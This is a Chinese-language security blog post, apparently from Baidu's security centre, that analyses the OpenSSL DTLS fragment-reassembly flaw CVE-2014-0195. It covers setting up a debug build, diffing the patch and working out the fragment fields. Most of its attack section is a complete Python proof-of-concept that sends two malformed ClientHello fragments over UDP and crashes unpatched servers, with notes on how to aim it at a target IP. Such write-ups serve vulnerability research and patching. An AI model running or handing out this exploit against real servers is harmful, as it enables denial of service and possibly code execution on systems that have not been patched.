攻击OpenSSL DTLS : CVE-2014-0195的分析与利用

作者:AntBean1988
时间:2014-06-20

今年Openssl爆发了一次心脏滴血。该漏洞的原理大家应该已经知道了。就是openssl的api在处理heartbeat协议的时候,未对传入的协议中的长度进行校验,导致可以读随机的最长可至64K的内存信息。该漏洞影响广泛,百度安全中心也提供了该漏洞的预警扫描(http://sec.baidu.com/index.php?lab/list)。近日,openssl又被爆了多个漏洞(https://www.openssl.org/news/secadv_20140605.txt)。从中间人攻击到DOS,再到可能的代码执行。初步分析请参见百度安全中心微信推送的文章(http://mp.weixin.qq.com/s?__biz=MzA4ODc0MTIwMw==&mid=200297086&idx=1&sn=c94593756a0f4db7f7419046adf8d590#rd)。这次我们要分析的就是其中的CVE-2014-0195,该漏洞可导致DOS和可能的代码执行。

一. 环境搭建

该漏洞影响多个版本,从Openssl 0.9.8到Openssl 1.0.1。由于该漏洞在openssl 1.0.1h中修复,这里选择openssl 1.0.1g做分析。

为了方便调试,需要重新编译下openssl 1.0.1g,提供调试信息。

编译方法如下:

./config –d                     //此处指定-d选项,保留调试信息,后续方便
make
make install

 

装好后,进入apps目录下,如下指令启动openssl。

./openssl s_server -dtls1 -accept 443

该命令的意思是,使用openssl的s_server,按dtls1,监听443端口。

 

二. 补丁分析

通过对比openssl 1.0.1h和openssl 1.0.1g的代码,查看dtls相关的改动,初步定位漏洞代码段。代码位于d1_both.c的dtls1_reassemble_fragment。

原先的代码没有判断frag->msg_header.msg_len的长度。看此处并不知道frag->msg_header到底对应了怎样的报文。我们需要构造报文,触发该函数,从而分析出各个字段跟实际发送报文的对应关系。

 

三. DTLS协议报文构造

一步一步单步调试,修改字段,构造符合要求的协议报文,这种方法费力,不大现实。这里直接通过openssl发符合要求的dtls报文,然后抓包分析。

 

服务器端用gdb调试,下断点。

在客户端发送完DTLS的报文后,dtls1_reassemble_fragment函数并未触发。

openssl.exe  s_client–dtls1 –connect 192.168.136.132:443

抓包如下:

经过对该报文结构的进一步分析,结合DTLS的RFC (http://tools.ietf.org/html/rfc4347)。可知,为了克服TLS的最大报文超过了Datagram的每个报文的最大长度,故DTLS支持将一个TLS的握手包封装成多个Datagram发送出去。服务器会对多个Datagram进行重组,重新构造出完整的握手包。在DTLS协议中,这些用来构造完整的握手包的datagram被称为fragment。

DTLS的fragment结构如下:

该结构中,Message_seq  fragment_offset  fragment_length均为新添加的字段。

为了重新构造握手包,通过message_seq标记fragment是否为同一个握手包。Length字段指的是构造后的整个握手包的长度。而fragment_length是指当前的fragment内容的长度。故同一个握手包的所有fragment length之和等于length。如果该握手包没有被分割成多个fragment,那么该fragment中,length和fragment length相等。

 

故初步构造DTLS报文如下:

def build_client_hello(num):
    client_hello_0 = [
        0x16, #handshake
        0xfe, 0xff, #dtls 1.0
        0x00, 0x00, #epoch 0
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00,#seq no.
        0x00, 0x34, #len for cur msg
        0x01, # client hello
        0x00,0x00,0x2c, # len for the defragment msg
        #0x00, 0x00, 0x2a,
        0x00, 0x00, #msg seq
        0x00, 0x00, 0x00, # fragment offset
        0x00, 0x00, 0x28, # fragment len
        0xfe, 0xff, #dtls 1.0
        0x00, 0x00, 0x00, 0x00, #unix time
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, #random bytes
        0x00, #session len
        0x00, #cookie len
        0x00, 0x04, #cipher suit
        0xc0, 0x14 #RSA With AES 256
        ]
 
    client_hello_1 = [
        0x16, #handshake
        0xfe, 0xff, #dtls 1.0
        0x00, 0x00, #epoch 0
        0x00, 0x00, 0x00, 0x00, 0x00, 0x01,#seq no.
        0x00, 0x10, #len for cur msg
        0x01, # client hello
        0x00,0x00,0x2c, # len for the defragment msg
        0x00, 0x00, #msg seq
        0x00, 0x00, 0x28, # fragment offset
        0x00, 0x00, 0x04, # fragment len
        0xc0, 0x0a, # ECDSA With AES 256
        #0xc0, 0x0a, # ECDSA With AES 256
        #0xc0, 0x0a, # ECDSA With AES 256
        #0xc0, 0x0a, # ECDSA With AES 256
        0x01, 0x00, #compression length andmethod
        ]
 
    if num==0:
        return client_hello_0
    else:
        return client_hello_1

依次发送client_hello_0和client_hello_1,可顺利获得DTLS Server的回应。

截图如下:

可成功命中server的断点。

单步跟踪该函数,可知其处理逻辑:

根据当前fragment的message_seq,从缓存的队列中,找到先前同一个message_seq的fragment。将当前fragment的内容拷贝到找到的同message_seq的fragment中。查找到的fragment实际长度是来自于原fragment中的length字段。先前没有判断找到的fragment的实际长度就直接进行拷贝了。故最终可以构造出触发的POC。

 

四.利用代码

构造最终利用的代码需注意:a. 两个报文的message_seq需要一样  b..第二个发出的报文的fragment_offset+ fragment_length > 第一个报文的length。

利用代码如下:

#!/usr/bin/env python
# author AntBean @BSRC
from socket import *
 
def hex2bin(arr):
    return ''.join('{:02x}'.format(x) for x inarr).decode('hex')
 
def build_client_hello(num):
    client_hello_0 = [
        0x16, #handshake
        0xfe, 0xff, #dtls 1.0
        0x00, 0x00, #epoch 0
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00,#seq no.
        0x00, 0x34, #len for cur msg
        0x01, # client hello
        #0x00,0x00,0x2c, # len for the defragment msg
        0x00, 0x00, 0x2a,
        0x00, 0x00, #msg seq
        0x00, 0x00, 0x00, # fragment offset
        0x00, 0x00, 0x28, # fragment len
        0xfe, 0xff, #dtls 1.0
        0x00, 0x00, 0x00, 0x00, #unix time
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
        0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, #random bytes
        0x00, #session len
        0x00, #cookie len
        0x00, 0x04, #cipher suit
        0xc0, 0x14 #RSA With AES 256
        ]
 
    client_hello_1 = [
        0x16, #handshake
        0xfe, 0xff, #dtls 1.0
        0x00, 0x00, #epoch 0
        0x00, 0x00, 0x00, 0x00, 0x00, 0x01,#seq no.
        0x00, 0x10, #len for cur msg
        0x01, # client hello
        0x00,0x00,0x32, # len for the defragment msg
        0x00, 0x00, #msg seq
        0x00, 0x00, 0x28, # fragment offset
        0x00, 0x00, 0x0a, # fragment len
        0xc0, 0x0a, # ECDSA With AES 256
        0xc0, 0x0a, # ECDSA With AES 256
        0xc0, 0x0a, # ECDSA With AES 256
        0xc0, 0x0a, # ECDSA With AES 256
        0x01, 0x00, #compression length andmethod
        ]
 
    if num==0:
        return client_hello_0
    else:
        return client_hello_1
 
 
s =socket(AF_INET, SOCK_DGRAM)
s.sendto(hex2bin(build_client_hello(0)),('192.168.136.132',443))
s.sendto(hex2bin(build_client_hello(1)),('192.168.136.132',443))
s.recvfrom(512)
s.close()

测试方法:

以dtls方式启动openssl:

openssl  s_server  -dtls1  -accept 443

运行以上POC,注意修改ip地址为openssl所在机器的ip地址。

效果如下:

喜闻乐见的Segmentation fault。至于到底能不能执行代码,就看各位大牛的了。

百度安全中心友情提示,请注意对openssl进行升级。欢迎各位白帽子多多交流。一起为构建更安全的互联网而努力。

还没有评论,快来抢沙发!

发表评论

  • 😉
  • 😐
  • 😡
  • 😈
  • 🙂
  • 😯
  • 🙁
  • 🙄
  • 😛
  • 😳
  • 😮
  • emoji-mrgree
  • 😆
  • 💡
  • 😀
  • 👿
  • 😥
  • 😎
  • ➡
  • 😕
  • ❓
  • ❗
  • 71 queries in 0.598 seconds